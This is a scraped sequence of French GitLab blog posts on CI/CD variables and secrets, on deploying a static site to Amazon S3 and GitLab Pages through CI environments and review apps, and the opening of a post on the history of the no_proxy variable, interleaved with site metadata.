indépendamment de son environnement. Les variables peuvent être stockées dans les paramètres du projet/groupe/instance et mises à la disposition des jobs dans les pipelines.\n\nPar exemple :\n\n```  \njob:  \n  rules:  \n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH  \n  script:  \n  - echo \"This job ran on the $CI_COMMIT_BRANCH branch.\"  \n```\n\nLa variable `($CI_COMMIT_BRANCH)` dans la section du script s'exécute dans la portée du job dans lequel elle a été définie. Cette portée est l'« environnement du job », ce qui signifie que lorsque le job se lance, le GitLab Runner démarre un conteneur Docker et exécute le job dans cet environnement. Le runner met cette variable (et toutes les autres variables prédéfinies ou personnalisées) à la disposition du job et peut également afficher leur valeur dans les données de sortie du log si nécessaire.\n\nToutefois, la variable est aussi utilisée dans la section `if:` pour déterminer quand le job doit s'exécuter. Il ne s'agit pas en soi d'un environnement, c'est pourquoi nous les appelons variables CI/CD. Elles peuvent être utilisées pour configurer dynamiquement vos jobs CI/CD, ainsi que comme variables d'environnement lorsque le job est en cours d'exécution.\n\n## Variables prédéfinies\n\nUn certain nombre de variables sont [prédéfinies](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) lorsqu'un pipeline GitLab CI/CD démarre. Un utilisateur peut immédiatement accéder aux valeurs pour des éléments tels que les validations, le projet ou les détails du pipeline sans avoir à définir les variables elles-mêmes.\n\n## Variables CI/CD personnalisées\n\n![Les runners peuvent créer deux types de variables CI/CD personnalisées : Type et Fichier.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variable_types.jpeg)\n\nLors de la création d'une variable CI/CD dans les paramètres, GitLab offre à l'utilisateur plus d'options pour configurer la variable. Utilisez ces options de configuration supplémentaires pour exercer un contrôle plus strict sur les variables plus sensibles :\n\n**Portée de l'environnement :** si une variable ne doit être utilisée que dans un environnement spécifique, définissez-la pour qu'elle soit disponible uniquement dans cet environnement. Par exemple, vous pouvez définir un jeton de déploiement pour qu'il ne soit disponible que dans l'environnement `production`.\n\n**Variables protégées :** comme pour la portée de l'environnement, vous pouvez définir une variable pour qu'elle ne soit disponible que lorsque le pipeline s'exécute sur une branche protégée, comme votre branche par défaut.\n\n**Type de variable :** certaines applications nécessitent que la configuration leur soit transmise sous la forme d'un fichier. Si une application nécessite cette configuration, définissez simplement le type de variable comme « Fichier ». Cette configuration de la variable CI/CD signifie que lorsque le runner rend la variable disponible dans l'environnement, il l'écrit dans un fichier temporaire et stocke le chemin d'accès au fichier en tant que valeur. Un utilisateur peut ensuite transmettre le chemin d'accès au fichier à toutes les applications qui en ont besoin.\n\nEn plus des éléments énumérés pour définir et utiliser les variables, GitLab a introduit une fonctionnalité qui génère des variables préremplies lorsqu'un pipeline doit être exécuté manuellement. Les variables préremplies réduisent les risques d'erreur et facilitent l'exécution du pipeline.\n\n**Variables masquées :** les [variables masquées](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable) sont des variables CI qui ont été **cachées dans les job logs** pour empêcher l'affichage de leur valeur.\n\n**Variables masquées et cachées :** introduites dans [GitLab 17.4](https://about.gitlab.com/releases/2024/09/19/gitlab-17-4-released/#hide-cicd-variable-values-in-the-ui), les variables [masquées et cachées](https://docs.gitlab.com/ee/ci/variables/#hide-a-cicd-variable) offrent la même fonctionnalité de masquage des job logs et **gardent la valeur cachée** **dans l'interface utilisateur des paramètres**. Nous ne recommandons pas d'utiliser ces deux types de variables pour les informations sensibles (comme les secrets), car elles peuvent être exposées par inadvertance.\n\n## Secrets\n\nUn secret est un identifiant de connexion sensible qui doit rester confidentiel. Voici des exemples de secrets :\n\n* Mots de passe\n* Clés SSH\n* Jetons d'accès\n* Tout autre type d'identifiants de connexion dont la divulgation pourrait porter préjudice à l'entreprise\n\nGitLab permet actuellement à ses utilisateurs d'[utiliser des secrets externes](https://docs.gitlab.com/ee/ci/secrets/) dans l'[intégration continue (CI)](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\"), en tirant parti de HashiCorp Vault, Google Cloud Secret Manager et Azure Key Vault pour gérer de manière sécurisée les clés, les tokens et d'autres secrets au niveau du projet. Les utilisateurs peuvent ainsi séparer ces secrets des autres variables CI/CD pour des raisons de sécurité.\n\n### Gestionnaire de secrets de GitLab\n\nEn plus de fournir une assistance pour les secrets externes dans la CI, GitLab prévoit également de proposer une [solution native de gestion des secrets](https://gitlab.com/groups/gitlab-org/-/epics/10108) permettant de stocker les secrets de manière pratique et sécurisée au sein de sa plateforme. Cette solution aidera également les clients à utiliser les secrets stockés dans les composants et les environnements spécifiques à GitLab, ainsi qu'à gérer facilement les accès au niveau des groupes d'espaces de nommage et des projets.\n\nPour en savoir plus sur le gestionnaire de secrets de GitLab, consultez notre article « [Le gestionnaire de secrets natif de GitLab renforce la sécurité de la chaîne d'approvisionnement logicielle](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/) ». \n\n***Avertissement :** cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter que les informations contenues dans cet article de blog ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article sont susceptibles de changer ou d’être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab.*\n",[1257,675,2884,1256,110,1069],{"slug":3368,"featured":6,"template":683},"demystifying-ci-cd-variables","content:fr-fr:blog:demystifying-ci-cd-variables.yml","Demystifying Ci Cd Variables","fr-fr/blog/demystifying-ci-cd-variables.yml","fr-fr/blog/demystifying-ci-cd-variables",{"_path":3374,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3375,"content":3381,"config":3388,"_id":3390,"_type":16,"title":3391,"_source":17,"_file":3392,"_stem":3393,"_extension":20},"/fr-fr/blog/ci-deployment-and-environments",{"title":3376,"description":3377,"ogTitle":3376,"ogDescription":3377,"noIndex":6,"ogImage":3378,"ogUrl":3379,"ogSiteName":841,"ogType":842,"canonicalUrls":3379,"schema":3380},"Comment déployer du code dans des environnements multiples avec GitLab CI","GitLab CI est à la fois puissant et polyvalent. Découvrez les capacités de cet outil à travers plusieurs scénarios d'utilisation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662033/Blog/Hero%20Images/intro.jpg","https://about.gitlab.com/blog/ci-deployment-and-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment déployer du code dans des environnements multiples avec GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Nemytchenko\"},{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-02-05\",\n      }",{"title":3376,"description":3377,"authors":3382,"heroImage":3378,"date":3384,"body":3385,"category":825,"tags":3386,"updatedDate":3387},[3383,969],"Ivan Nemytchenko","2021-02-05","Imaginez-vous gestionnaire d’un site d'information. Heureusement, le code de\nvotre projet est déjà hébergé sur GitLab.com et vous utilisez [GitLab\nCI/CD](https://docs.gitlab.com/ee/ci/testing/ \"Test avec GitLab CI/CD\") pour\nvos tests. Maintenant, vous souhaitez connaître toutes les possibilités de\n[déploiement](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/\n\"Meilleures pratiques CI/CD\").\n\n\nPar souci de pertinence, supposons que l'application se compose uniquement\nde fichiers HTML, sans code côté serveur ni compilation sophistiquée des\nactifs JS. La plateforme de destination sera également générique, nous\nutiliserons [Amazon S3](https://aws.amazon.com/fr/s3/ \"Amazon S3\").\n\n\nPlutôt que de fournir des extraits de code à copier-coller, nous allons vous\npartager les principes et les fonctionnalités de GitLab CI, afin que vous\npuissiez les appliquer dans votre propre pile technologique. \n\n\nDéroulons donc notre histoire depuis son commencement, où il n'est pas\nencore question d'intégration continue.\n\n\n## La ligne de départ\n\n\n__Déploiement__ : un ensemble de fichiers HTML devraient apparaître dans\nvotre bucket S3 (déjà configuré pour [héberger un site web\nstatique](https://docs.aws.amazon.com/fr_fr/AmazonS3/latest/userguide/HostingWebsiteOnS3Setup.html\n\"Héberger un site web statique avec Amazon S3\")). Il y a des millions de\nfaçons de procéder. Dans notre cas, nous utiliserons la bibliothèque [AWS\nCLI](https://aws.amazon.com/fr/cli/ \"AWS CLI\") fournie par Amazon. \n\n\nLa commande complète ressemble à ceci :\n\n\n```shell\n\naws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n\n```\n\n\nLe push du code vers le dépôt et le déploiement sont deux processus\ndistincts.\n\n\n![Déploiement\nmanuel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/19-updated.png){:\n.center}\n\n{: .note .text-center}\n\n\nDétail important : la commande nécessite de [fournir les variables\nd'environnement](https://docs.aws.amazon.com/fr_fr/cli/latest/userguide/cli-chap-getting-started.html)\n`AWS_ACCESS_KEY_ID` et `AWS_SECRET_ACCESS_KEY`. Il vous faudra peut-être\naussi spécifier `AWS_DEFAULT_REGION`. \n\n\nEssayons d'automatiser cette procédure avec [l'intégration continue de\nGitLab](https://about.gitlab.com/fr-fr/solutions/continuous-integration/\n\"Intégration continue de GitLab\").\n\n\n## Votre premier déploiement automatisé\n\n\nGitLab CI offre une grande flexibilité dans l'exécution des commandes. Sa\nconfiguration s'adapte à vos besoins, reproduisant l'environnement de votre\nterminal local. Ajoutez votre script dans le fichier .gitlab-ci.yml et\neffectuez un push de votre code : l’outil d'intégration continue de GitLab\ndéclenche un *job* et vos commandes sont exécutées.\n\n\nPrécisons maintenant le contexte d'utilisation de cet exemple : il s'agit\nd'un site de taille modeste, avec une trentaine de visiteurs journaliers, et\nune seule branche principale de dépôt de code. Commençons par spécifier un\n*job* avec la commande précédente dans le fichier `.gitlab-ci.yml` :\n\n\n```yaml\n\ndeploy:\n  script: aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n\nOups, la commande a échoué :\n\n\n![Message d'erreur lors de l'exécution d'un job\nGitLab.](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/13.jpg){:\n.shadow}\n\n\nIl fallait d'abord vérifier l'existence d'un exécutable `aws`. Pour\ninstaller `awscli`, nous avons besoin de `pip`, qui est un outil\nd'installation de paquets Python. Spécifions une image Docker avec Python\npréinstallé, qui devrait également contenir `pip` : \n\n\n```yaml\n\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n\n![Déploiement\nautomatisé](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/fail1.png){:\n.center}\n\n{: .note .text-center}\n\n\nVous effectuez un push de votre code sur GitLab, et il est automatiquement\ndéployé par l’outil CI. \n\n\nL'installation d'`awscli` rallonge le temps d'exécution du job, mais pour\nl'instant ce n'est pas un souci. Pour accélérer le processus, [cherchez une\nimage Docker](https://hub.docker.com/ \"Chercher une image Docker\") avec\n`awscli` préinstallé, ou créez une image vous-même. \n\n\nN’oublions pas les variables d'environnement récupérées depuis la [console\nAWS](https://console.aws.amazon.com/) :\n\n\n```yaml\n\nvariables:\n  AWS_ACCESS_KEY_ID: \"AKIAIOSFODNN7EXAMPLE\"\n  AWS_SECRET_ACCESS_KEY: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n\nCela devrait fonctionner, mais attention : ce n'est jamais une bonne idée de\ndévoiler des clés secrètes de votre code, même dans un dépôt privé.\nRemédions donc à cette situation.\n\n\n### Des secrets bien gardés\n\n\nGitLab dispose d’un endroit spécialement dédié aux variables secrètes :\n__Paramètres > CI/CD > Variables__.\n\n\n![Ajouter une variable secrète dans\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/add-variable-updated.png)\n\n\nTout ce que vous y mettez se transforme en variables d'environnement. En\ncochant la case « Masquée », vous masquerez la variable dans les job logs.\nEn cochant la case « Protéger la variable », vous n’exporterez la variable\nuniquement vers les pipelines s'exécutant sur des branches et des étiquettes\nprotégées. \n\n\nSeuls les utilisateurs ayant le statut de propriétaire ou de chargé de\nmaintenance sur un projet auront accès à cette section. Nous pourrions\nsupprimer la section `variables` de notre configuration CI, mais nous allons\nl'utiliser à d'autres fins.\n\n\n### Savoir spécifier et utiliser des variables non-secrètes\n\n\nLorsque votre configuration s'agrandit, il devient pratique de conserver\ncertains paramètres sous formes de variables au début de votre\nconfiguration. Le cas présent ne le justifie pas, mais pour les besoins de\ncette démonstration, nous allons définir le nom du compartiment S3 comme\nvariable :\n\n\n```yaml\n\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n\nJusqu'ici, tout va bien :\n\n\n![Compilation GitLab CI sans\nerreur](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/14.jpg){:\n.shadow.medium.center}\n\n\nDans notre scénario, la fréquentation du site est en hausse, et vous avez\nembauché un développeur pour vous aider. Voyons comment le workflow GitLab\nCI s'adapte au travail en équipe.\n\n\n## Comment utiliser GitLab CI en équipe\n\n\nAvec deux utilisateurs travaillant dans le même dépôt, il n'est plus\npratique d'utiliser la branche principale pour le développement. Vous\ndécidez d'utiliser des branches séparées pour les nouvelles fonctionnalités\net les nouveaux articles, et de les fusionner dans la branche principale\nlorsqu'elles sont prêtes.\n\n\nCependant, votre configuration CI actuelle ne prend pas en charge les\nbranches. Chaque push effectué vers GitLab sera déployé sur S3. La solution\nest simple : il suffit d'ajouter `only: main` au job `deploy`.\n\n\nEn plus de ne pas vouloir déployer chaque branche sur l’environnement de\nproduction, vous souhaiteriez pouvoir prévisualiser vos modifications depuis\nles branches de fonctionnalités. \n\n\n![Déploiement de la branche principale de GitLab vers AWS\nS3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/15-updated.png){:\n.center}\n\n{: .note .text-center}  \n\n\n### Comment configurer un environnement de test ?\n\n\nMatteo, votre nouveau développeur, vous propose d'utiliser la fonctionnalité\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/ \"GitLab\nPages\"), idéale pour prévisualiser votre travail en cours. Afin d'[héberger\ndes sites web sur GitLab\nPages](https://docs.gitlab.com/ee/user/project/pages/getting_started/pages_ui.html\n\"Héberger des sites web sur GitLab Pages\"), votre fichier de configuration\nCI doit répondre à trois règles simples :\n\n\n- Le *job* doit être nommé `pages`\n\n- Il doit y avoir une section `artifacts` avec un dossier `public`\n\n- Tout ce que vous souhaitez héberger doit être placé dans le dossier\n`public`\n\n\nLe contenu du dossier public sera hébergé à l'adresse suivante :\n`http://\u003Cusername>.gitlab.io/\u003Cprojectname>/`\n\n\nVoici la configuration complète après avoir appliqué l’[exemple de\nconfiguration pour les sites web en\nHTML](https://gitlab.com/pages/plain-html/-/blob/main/.gitlab-ci.yml\n\"Exemple de configuration pour les sites web en HTML\") :\n\n\n```yaml\n\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy:\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\n\nNous avons spécifié deux jobs. L'un d'eux déploie le site web pour vos\nclients sur S3 (`deploy`). L'autre (`pages`) déploie le site web sur GitLab\nPages. Nommons-les « Environnement de production » et « Environnement de\npréproduction ». Toutes les branches seront déployées sur GitLab Pages, à\nl'exception de la branche principale. \n\n\n![Déploiement différencié des branches dans GitLab Pages et\nS3.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/16-updated.png){:\n.center}\n\n{: .note .text-center}\n\n\n## Introduction aux environnements\n\n\nGitLab offre la prise en charge de [nombreux\nenvironnements](https://docs.gitlab.com/ee/ci/environments/ \"Environnements\nGitLab\") (dynamiques ou statiques) ; vous devez simplement spécifier\nl'environnement correspondant pour chaque *job* de déploiement :\n\n\n```yaml\n\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: python:latest\n  script:\n  - pip install awscli\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n  only:\n  - main\n\npages:\n  image: alpine:latest\n  environment: staging\n  script:\n  - mkdir -p ./public\n  - cp ./*.html ./public/\n  artifacts:\n    paths:\n    - public\n  except:\n  - main\n```\n\n\nGitLab garde une trace de tous vos déploiements. Ainsi, vous savez toujours\nce qui est actuellement déployé sur vos serveurs :\n\n\n![Visualisation des environnements sur GitLab\nCI/CD.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/envs-updated.png){:\n.shadow.center}\n\n\nL'historique complet de vos déploiements sur chacun de vos environnements\nactuels vous est aussi fourni :\n\n\n![Historique des déploiements\nGitLab.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/staging-env-detail-updated.png){:\n.shadow.center}\n\n\nMaintenant que tout est automatisé et configuré, de nouveaux défis nous\nattendent.\n\n\n## Comment dépanner les déploiements ?\n\n\nOups ! La branche de fonctionnalités que vous avez poussé sur\nl'environnement de préproduction vient d'être remplacée par celle de Matteo,\nqui vient d'effectuer un push de sa propre branche. L'énervement vous gagne,\nc'est la troisième fois que cela arrive aujourd'hui ! \n\n\nEt si vous utilisiez Slack pour notifier vos déploiements, afin d'éviter ce\ngenre de désagrément ?\n\n\n> Recevez des notifications en utilisant l'[application GitLab pour\nSlack](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html).\n\n\n## Du travail d'équipe à grande échelle\n\n\nQuelque temps plus tard, et vous voilà à la tête d'un site web très\npopulaire, et d'une équipe de huit personnes. Mais, désormais, les membres\nde votre équipe perdent un temps précieux à attendre de pouvoir\nprévisualiser leur travail. Le déploiement de chaque branche en\npréproduction n'est plus optimal.\n\n\n![File d'attente de branches à examiner en\npréproduction](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/build.png){:\n.center}\n\n\nIl est temps de perfectionner le système. Vous convenez avec votre équipe de\nfusionner au préalable chaque changement sur la branche de préproduction. La\nmodification du fichier `.gitlab-ci.yml` est minime :\n\n\n```yaml\n\nexcept:\n\n- main\n\n```\n\n\nest remplacé par\n\n\n```yaml\n\nonly:\n\n- staging\n\n```\n\n\n![Dessin de développeurs qui fusionnent leurs changements dans une branche\nde préproduction avant de les déployer sur\nS3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/17-updated.png){:\n.center}\n\n{: .note .text-center}\n\n\nVos collaborateurs doivent fusionner leurs branches de fonctionnalités avant\nde prévisualiser leur travail en préproduction. Cela nécessite plus de temps\net d'efforts, mais tout le monde s'accorde à dire que c'est toujours mieux\nque d'attendre.\n\n\n## Comment gérer les urgences ?\n\n\nIl arrive parfois que les choses tournent mal. Quelqu'un a mal fusionné des\nbranches et a effectué un push du résultat directement en production, juste\nau moment où le hashtag de votre site devenait viral sur les réseaux\nsociaux. Des milliers de personnes voient des visuels cassés au lieu de\nvotre page d'accueil habituelle. Heureusement, la fonction __Restaurer\nl’environnement__ a permis de résoudre le problème en moins d'une minute.\n\n\n![Fonctionnalité de restauration sur la plateforme\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/18-updated.png){:\n.shadow.center}\n\n{: .note .text-center}\n\n\nLa fonction de restauration de l'environnement relance le job précédent avec\nla validation précédente. Vous avez décidé de désactiver le déploiement\nautomatique en production et de passer au déploiement manuel. Pour ce faire,\nvous devez ajouter  `when : manual` à votre *job*. Il n'y aura effectivement\nplus de déploiement automatique en production. Le déploiement manuel\ns'effectue en allant dans __Compilation > Pipelines__, et en cliquant sur\n__« Exécuter des jobs manuels ou différés »__ :\n\n\n![Déploiement manuel sur\nGitLab.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674077/Blog/Content%20Images/prod-env-rollback-arrow-updated.png){:\n.shadow.center}\n\n\nEffectuons maintenant un bond en avant dans le temps. Votre entreprise est\ndevenue une société de plusieurs centaines d'employés travaillant sur le\nsite web, et les compromis précédents ne fonctionnent plus.\n\n\n### Faire ses premiers pas avec les Review Apps\n\n\nLogiquement, la nouvelle étape consiste à lancer une instance temporaire de\nl'application par branche de fonctionnalités pour la revue. Pour cela, nous\navons configuré un autre bucket S3. Sa seule particularité est que le\ncontenu du site est placé dans un dossier portant le nom de la branche de\ndéveloppement, de sorte que l’URL ressemble à :\n\n\n`http://\u003CREVIEW_S3_BUCKET_NAME>.s3-website-us-east-1.amazonaws.com/\u003Cbranchname>/`\n\n\nVoici le remplacement du *job* `pages` utilisé auparavant :\n\n\n```yaml\n\nreview apps:\n  variables:\n    S3_BUCKET_NAME: \"reviewbucket\"\n  image: python:latest\n  environment: review\n  script:\n  - pip install awscli\n  - mkdir -p ./$CI_BUILD_REF_NAME\n  - cp ./*.html ./$CI_BUILD_REF_NAME/\n  - aws s3 cp ./ s3://$S3_BUCKET_NAME/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n\nIci, il est bon de connaître l'origine de cette variable\n`$CI_BUILD_REF_NAME`. GitLab prédéfinit de [nombreuses variables\nd'environnement](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html\n\"Variables d'environnement dans GitLab\") à utiliser dans vos jobs. Notez que\nnous avons défini la variable `S3_BUCKET_NAME` à l'intérieur du *job*. Vous\npouvez ainsi réécrire les définitions de niveau supérieur. \n\n\nReprésentation visuelle de la configuration des Review Apps :\n\n\n![Dessin représentant la configuration Review Apps de\nGitLab.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674076/Blog/Content%20Images/manual-pipeline-arrow-updated.png){:\n.illustration}\n\n\nLes détails de l'implémentation des Review Apps varient selon votre pile\ntechnologique et de votre processus de déploiement. Tout ne sera pas aussi\nsimple qu'avec un site HTML statique. Programmer des instances temporaires à\nla volée avec tous les logiciels et services requis n'est pas chose aisée.\nMais tout cela peut être accompli, notamment à l'aide des conteneurs Docker,\nChef ou Ansible.\n\n\nLe déploiement avec Docker mériterait d'ailleurs un article complet. Et si\nvous regrettez l'absence de scénarios plus complexes qu'un simple\ndéploiement en HTML statique, nous vous recommandons de lire [cet\narticle](https://about.gitlab.com/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1/\n\"Construire une version d'Elixir dans une image Docker en utilisant GitLab\nCI - Partie 1\"). Abordons maintenant un dernier sujet.\n\n\n### Déployer sur différentes plateformes\n\n\nDans la pratique, nous ne sommes pas limités à S3 et à GitLab Pages. Nous\nhébergeons et déployons nos applications sur différents services. De plus,\nsi vous décidez un jour de passer à une nouvelle plateforme, vous devrez\nalors réécrire tous vos scripts de déploiement. Vous pourrez alors utiliser\nune petite merveille appelée `dpl` pour vous faciliter la tâche.\n\n\nJusqu'ici, nous avons utilisé `awscli` pour livrer du code à un service\ncomme Amazon S3. Quel que soit le système utilisé, le principe reste le même\n: vous exécutez une commande avec certains paramètres et transmettez une clé\nsecrète d'authentification. L'outil de déploiement `dpl` utilise ce principe\net fournit une interface unique pour cette [liste de\nfournisseurs](https://github.com/travis-ci/dpl#supported-providers \"Liste de\nfournisseurs\"). Voici à quoi ressemblerait le déploiement d’un *job* en\nproduction avec `dpl`:\n\n\n```yaml\n\nvariables:\n  S3_BUCKET_NAME: \"yourbucket\"\n\ndeploy to production:\n  environment: production\n  image: ruby:latest\n  script:\n  - gem install dpl\n  - dpl --provider=s3 --bucket=$S3_BUCKET_NAME\n  only:\n  - main\n```\n\n\nEn cas de déploiement sur plusieurs systèmes ou de changements fréquents de\nplateforme de destination, `dpl` vous aide à uniformiser vos scripts de\ndéploiement.\n\n\n## Cinq points clés à retenir\n\n\n1. Un déploiement est une commande (ou un ensemble de commandes)\nrégulièrement exécutée. Il peut donc être exécuté dans GitLab CI.\n\n\n2. La plupart des commandes à exécuter nécessitent de fournir une ou\nplusieurs clés secrètes, que vous stockez dans __Paramètres >\n[CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD\n?\") > Variables__.\n\n\n3. Avec GitLab CI, vous pouvez spécifier de façon flexible les branches vers\nlesquelles vous déployez votre code.\n\n\n4. GitLab conserve l'historique des déploiements dans tous vos\nenvironnements, et vous permet de revenir à n'importe quelle version\nprécédente.\n\n\n5. Pour les éléments critiques de votre infrastructure, vous pouvez activer\nle déploiement manuel depuis l'interface de GitLab, au lieu du déploiement\nautomatisé.\n",[1256,1257,1069],"2024-11-21",{"slug":3389,"featured":6,"template":683},"ci-deployment-and-environments","content:fr-fr:blog:ci-deployment-and-environments.yml","Ci Deployment And Environments","fr-fr/blog/ci-deployment-and-environments.yml","fr-fr/blog/ci-deployment-and-environments",{"_path":3395,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3396,"content":3401,"config":3407,"_id":3409,"_type":16,"title":3410,"_source":17,"_file":3411,"_stem":3412,"_extension":20},"/fr-fr/blog/we-need-to-talk-no-proxy",{"title":3397,"description":3398,"ogTitle":3397,"ogDescription":3398,"noIndex":6,"ogImage":2914,"ogUrl":3399,"ogSiteName":841,"ogType":842,"canonicalUrls":3399,"schema":3400},"Pouvons-nous standardiser la variable d'environnement NO_PROXY ?","Découvrez notre guide complet sur no_proxy, la configuration des paramètres\ndu proxy, ainsi que les spécificités de no_proxy, http_proxy et https_proxy.","https://about.gitlab.com/blog/we-need-to-talk-no-proxy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pouvons-nous standardiser la variable d'environnement NO_PROXY ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2021-01-27\",\n      }",{"title":3397,"description":3398,"authors":3402,"heroImage":2914,"date":3403,"body":3404,"category":825,"tags":3405},[824],"2021-01-27","Si vous avez déjà utilisé un serveur proxy Web, vous êtes probablement familier avec les variables d’environnement `http_proxy` ou `HTTP_PROXY`. Cependant, vous l'êtes peut-être moins avec la variable `no_proxy` qui permet d’exclure le trafic destiné à certains hôtes d'utiliser le proxy. Bien que le protocole HTTP soit standardisé, aucune norme ne précise comment utiliser ces variables. Par conséquent, les clients Web prennent en charge ces variables de manière différente.  \n\nDécouvrez dans cet article tout ce que vous devez savoir sur la variable d’environnement no_proxy, ainsi qu’un cas pratique d’un de nos clients GitLab. \n\n## Comprendre http_proxy, https_proxy et no_proxy\n\nDe nos jours, la plupart des clients Web permettent de se connecter à des serveurs proxy via les variables d'environnement suivantes : \n\n- `http_proxy` / `HTTP_PROXY`\n- `https_proxy` / `HTTPS_PROXY`\n- `no_proxy` / `NO_PROXY`\n\nCes variables indiquent au client l'URL à utiliser pour accéder aux serveurs proxy et quelles exceptions appliquer. \n\nPar exemple, si vous avez un serveur proxy attaché à `http://alice.example.com:8080`, vous pourriez l’utiliser via : \n\n```sh\nexport http_proxy=http://alice.example.com:8080\n```\n\nMais quel serveur proxy sera utilisé si Maxime définit aussi la version en majuscules : `HTTP_PROXY` ?\n\n```sh\nexport HTTP_PROXY=http://maxime.example.com:8080\n```\nAussi surprenant que cela puisse paraître, cela dépend. Dans certains cas, le proxy d'Alice est utilisé, dans d'autres cas, c'est celui de Maxime. Nous y reviendrons plus loin dans cet article. \n\nQue se passe-t-il si vous souhaitez définir des exceptions ? Par exemple, admettons que vous souhaitez utiliser un serveur proxy pour tout, sauf pour `internal.example.com` et `internal2.example.com`. C'est ici que la variable `no_proxy` entre en jeu. Vous paramétrez alors `no_proxy` comme suit : \n\n```sh\nexport no_proxy=internal.example.com,internal2.example.com\n```\n\nEt si vous souhaitez exclure certaines adresses IP ? Faut-il utiliser des astérisques ou des caractères génériques ? Ou bien utiliser des blocs CIDR (comme `192.168.1.1/32`) ? Même réponse : cela dépend.\n\n## L'évolution des variables proxy et no_proxy\n\nEn 1994, la plupart des clients Web utilisaient la bibliothèque logicielle `libwww` du CERN, qui prenait en charge les variables d'environnement `http_proxy` et `no_proxy`. `libwww` utilisait uniquement la forme en minuscules de `http_proxy` et [la syntaxe de `no_proxy` était simple](https://github.com/w3c/libwww/blob/8678b3dcb4191065ca39caea54bb1beba809a617/Library/src/HTAccess.c#L234-L239) : \n\n```\nno_proxy is a comma- or space-separated list of machine\nor domain names, with optional :port part.  If no :port\npart is present, it applies to all ports on that domain.\n\nExample:\n\t\tno_proxy=\"cern.ch,some.domain:8001\"\n```\n\nDe nouveaux clients sont apparus, ajoutant leurs propres implémentations HTTP sans les relier à `libwww`. En janvier 1996, Hrvoje Niksic publie `geturl`, le prédécesseur de ce qu'on connaît aujourd'hui sous le nom de `wget`. Un mois plus tard, [`geturl` prend en charge `http_proxy` dans la version v1.1](https://ftp.sunet.se/mirror/archive/ftp.sunet.se/pub/www/utilities/wget/old-versions/). En mai 1996, `geturl` v1.3 ajoute la prise en charge de `no_proxy`. Tout comme `libwww`, `geturl` n'accepte que les minuscules. \n\nEn janvier 1998, Daniel Stenberg publie `curl` v5.1, [qui prend en charge les variables `http_proxy` et `no_proxy`](https://github.com/curl/curl/blob/ae1912cb0d494b48d514d937826c9fe83ec96c4d/CHANGES#L929-L944). De plus, `curl` accepte désormais les 